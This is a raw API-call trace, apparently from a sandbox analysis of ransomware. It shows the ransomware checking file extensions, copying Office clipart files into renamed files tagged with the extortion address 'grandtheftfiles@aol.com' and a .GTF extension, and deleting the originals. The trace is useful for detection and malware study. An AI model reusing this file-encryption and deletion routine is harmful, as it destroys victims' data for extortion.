	[0085.205] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.205] SetEndOfFile (hFile=0x390) returned 1
	[0085.206] CloseHandle (hObject=0x390) returned 1
	[0085.206] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0085.206] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf")) returned 1
	[0085.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65
	[0085.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65
	[0085.206] lstrlenW (lpString=".doc") returned 4
	[0085.206] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.206] lstrlenW (lpString=".docx") returned 5
	[0085.206] lstrcmpiW (lpString1=".docx", lpString2="E.WMF") returned -1
	[0085.206] lstrlenW (lpString=".pdf") returned 4
	[0085.206] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.206] lstrlenW (lpString=".xls") returned 4
	[0085.206] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.206] lstrlenW (lpString=".xlsx") returned 5
	[0085.207] lstrcmpiW (lpString1=".xlsx", lpString2="E.WMF") returned -1
	[0085.207] lstrlenW (lpString=".ppt") returned 4
	[0085.207] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65
	[0085.207] lstrlenW (lpString=".zip") returned 4
	[0085.207] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.207] lstrlenW (lpString=".rar") returned 4
	[0085.207] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.207] lstrlenW (lpString=".bz2") returned 4
	[0085.207] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.207] lstrlenW (lpString=".7z") returned 3
	[0085.207] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65
	[0085.207] lstrlenW (lpString=".dbf") returned 4
	[0085.207] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65
	[0085.207] lstrlenW (lpString=".1cd") returned 4
	[0085.207] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65
	[0085.207] lstrlenW (lpString=".jpg") returned 4
	[0085.207] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65
	[0085.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65
	[0085.207] lstrlenW (lpString=".doc") returned 4
	[0085.207] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.207] lstrlenW (lpString=".docx") returned 5
	[0085.207] lstrcmpiW (lpString1=".docx", lpString2="E.WMF") returned -1
	[0085.207] lstrlenW (lpString=".pdf") returned 4
	[0085.207] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.207] lstrlenW (lpString=".xls") returned 4
	[0085.207] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.208] lstrlenW (lpString=".xlsx") returned 5
	[0085.208] lstrcmpiW (lpString1=".xlsx", lpString2="E.WMF") returned -1
	[0085.208] lstrlenW (lpString=".ppt") returned 4
	[0085.208] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65
	[0085.208] lstrlenW (lpString=".zip") returned 4
	[0085.208] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.209] lstrlenW (lpString=".rar") returned 4
	[0085.209] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.209] lstrlenW (lpString=".bz2") returned 4
	[0085.209] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.209] lstrlenW (lpString=".7z") returned 3
	[0085.209] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65
	[0085.209] lstrlenW (lpString=".dbf") returned 4
	[0085.209] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65
	[0085.209] lstrlenW (lpString=".1cd") returned 4
	[0085.209] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65
	[0085.209] lstrlenW (lpString=".jpg") returned 4
	[0085.209] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.209] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0085.209] lstrlenW (lpString="CRANINST.WMF") returned 12
	[0085.209] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0085.210] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=49546) returned 1
	[0085.210] CloseHandle (hObject=0x390) returned 1
	[0085.210] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf")) returned 0x220
	[0085.210] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0085.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0085.210] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.210] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0085.211] GetLastError () returned 0x0
	[0085.211] ReadFile (in: hFile=0x390, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0xc18a, lpOverlapped=0x0) returned 1
	[0085.657] WriteFile (in: hFile=0x37c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xc190, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xc190, lpOverlapped=0x0) returned 1
	[0085.658] ReadFile (in: hFile=0x390, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.658] WriteFile (in: hFile=0x37c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0085.658] SetEndOfFile (hFile=0x37c) returned 1
	[0085.659] CloseHandle (hObject=0x37c) returned 1
	[0085.660] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.660] SetEndOfFile (hFile=0x390) returned 1
	[0085.661] CloseHandle (hObject=0x390) returned 1
	[0085.662] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0085.662] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf")) returned 1
	[0085.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68
	[0085.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68
	[0085.662] lstrlenW (lpString=".doc") returned 4
	[0085.662] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.662] lstrlenW (lpString=".docx") returned 5
	[0085.662] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1
	[0085.662] lstrlenW (lpString=".pdf") returned 4
	[0085.662] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.662] lstrlenW (lpString=".xls") returned 4
	[0085.662] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.662] lstrlenW (lpString=".xlsx") returned 5
	[0085.662] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1
	[0085.662] lstrlenW (lpString=".ppt") returned 4
	[0085.662] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68
	[0085.662] lstrlenW (lpString=".zip") returned 4
	[0085.663] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.663] lstrlenW (lpString=".rar") returned 4
	[0085.663] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.663] lstrlenW (lpString=".bz2") returned 4
	[0085.663] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.663] lstrlenW (lpString=".7z") returned 3
	[0085.663] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68
	[0085.663] lstrlenW (lpString=".dbf") returned 4
	[0085.663] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68
	[0085.663] lstrlenW (lpString=".1cd") returned 4
	[0085.663] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68
	[0085.663] lstrlenW (lpString=".jpg") returned 4
	[0085.663] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68
	[0085.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68
	[0085.663] lstrlenW (lpString=".doc") returned 4
	[0085.663] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.663] lstrlenW (lpString=".docx") returned 5
	[0085.663] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1
	[0085.663] lstrlenW (lpString=".pdf") returned 4
	[0085.663] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.663] lstrlenW (lpString=".xls") returned 4
	[0085.663] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.663] lstrlenW (lpString=".xlsx") returned 5
	[0085.663] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1
	[0085.663] lstrlenW (lpString=".ppt") returned 4
	[0085.663] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68
	[0085.663] lstrlenW (lpString=".zip") returned 4
	[0085.663] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.663] lstrlenW (lpString=".rar") returned 4
	[0085.663] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.663] lstrlenW (lpString=".bz2") returned 4
	[0085.663] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.664] lstrlenW (lpString=".7z") returned 3
	[0085.664] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68
	[0085.664] lstrlenW (lpString=".dbf") returned 4
	[0085.664] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68
	[0085.664] lstrlenW (lpString=".1cd") returned 4
	[0085.664] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 68
	[0085.664] lstrlenW (lpString=".jpg") returned 4
	[0085.664] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.664] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0085.664] lstrlenW (lpString="DD00687_.WMF") returned 12
	[0085.664] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0085.664] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=20784) returned 1
	[0085.664] CloseHandle (hObject=0x390) returned 1
	[0085.664] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf")) returned 0x220
	[0085.664] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0085.665] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0085.665] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.665] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.665] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0085.665] GetLastError () returned 0x0
	[0085.665] ReadFile (in: hFile=0x390, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x5130, lpOverlapped=0x0) returned 1
	[0085.667] WriteFile (in: hFile=0x37c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x5140, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x5140, lpOverlapped=0x0) returned 1
	[0085.668] ReadFile (in: hFile=0x390, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.668] WriteFile (in: hFile=0x37c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0085.669] SetEndOfFile (hFile=0x37c) returned 1
	[0085.669] CloseHandle (hObject=0x37c) returned 1
	[0085.670] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.670] SetEndOfFile (hFile=0x390) returned 1
	[0085.671] CloseHandle (hObject=0x390) returned 1
	[0085.671] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0085.671] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf")) returned 1
	[0085.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68
	[0085.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68
	[0085.671] lstrlenW (lpString=".doc") returned 4
	[0085.671] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.672] lstrlenW (lpString=".docx") returned 5
	[0085.672] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.672] lstrlenW (lpString=".pdf") returned 4
	[0085.672] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.672] lstrlenW (lpString=".xls") returned 4
	[0085.672] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.672] lstrlenW (lpString=".xlsx") returned 5
	[0085.672] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.672] lstrlenW (lpString=".ppt") returned 4
	[0085.672] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68
	[0085.672] lstrlenW (lpString=".zip") returned 4
	[0085.672] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.672] lstrlenW (lpString=".rar") returned 4
	[0085.672] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.672] lstrlenW (lpString=".bz2") returned 4
	[0085.672] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.672] lstrlenW (lpString=".7z") returned 3
	[0085.672] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68
	[0085.672] lstrlenW (lpString=".dbf") returned 4
	[0085.672] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68
	[0085.672] lstrlenW (lpString=".1cd") returned 4
	[0085.672] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68
	[0085.672] lstrlenW (lpString=".jpg") returned 4
	[0085.672] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68
	[0085.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68
	[0085.672] lstrlenW (lpString=".doc") returned 4
	[0085.672] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.672] lstrlenW (lpString=".docx") returned 5
	[0085.672] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.672] lstrlenW (lpString=".pdf") returned 4
	[0085.672] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.672] lstrlenW (lpString=".xls") returned 4
	[0085.673] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.673] lstrlenW (lpString=".xlsx") returned 5
	[0085.673] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.673] lstrlenW (lpString=".ppt") returned 4
	[0085.673] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68
	[0085.673] lstrlenW (lpString=".zip") returned 4
	[0085.673] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.673] lstrlenW (lpString=".rar") returned 4
	[0085.673] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.673] lstrlenW (lpString=".bz2") returned 4
	[0085.673] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.673] lstrlenW (lpString=".7z") returned 3
	[0085.673] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68
	[0085.673] lstrlenW (lpString=".dbf") returned 4
	[0085.673] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68
	[0085.673] lstrlenW (lpString=".1cd") returned 4
	[0085.673] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68
	[0085.673] lstrlenW (lpString=".jpg") returned 4
	[0085.673] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.673] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0085.673] lstrlenW (lpString="DD00705_.WMF") returned 12
	[0085.673] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0085.674] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=24588) returned 1
	[0085.674] CloseHandle (hObject=0x390) returned 1
	[0085.674] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf")) returned 0x220
	[0085.674] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0085.674] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0085.674] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.674] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.674] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0085.674] GetLastError () returned 0x0
	[0085.674] ReadFile (in: hFile=0x390, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x600c, lpOverlapped=0x0) returned 1
	[0085.676] WriteFile (in: hFile=0x37c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x6010, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x6010, lpOverlapped=0x0) returned 1
	[0085.677] ReadFile (in: hFile=0x390, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
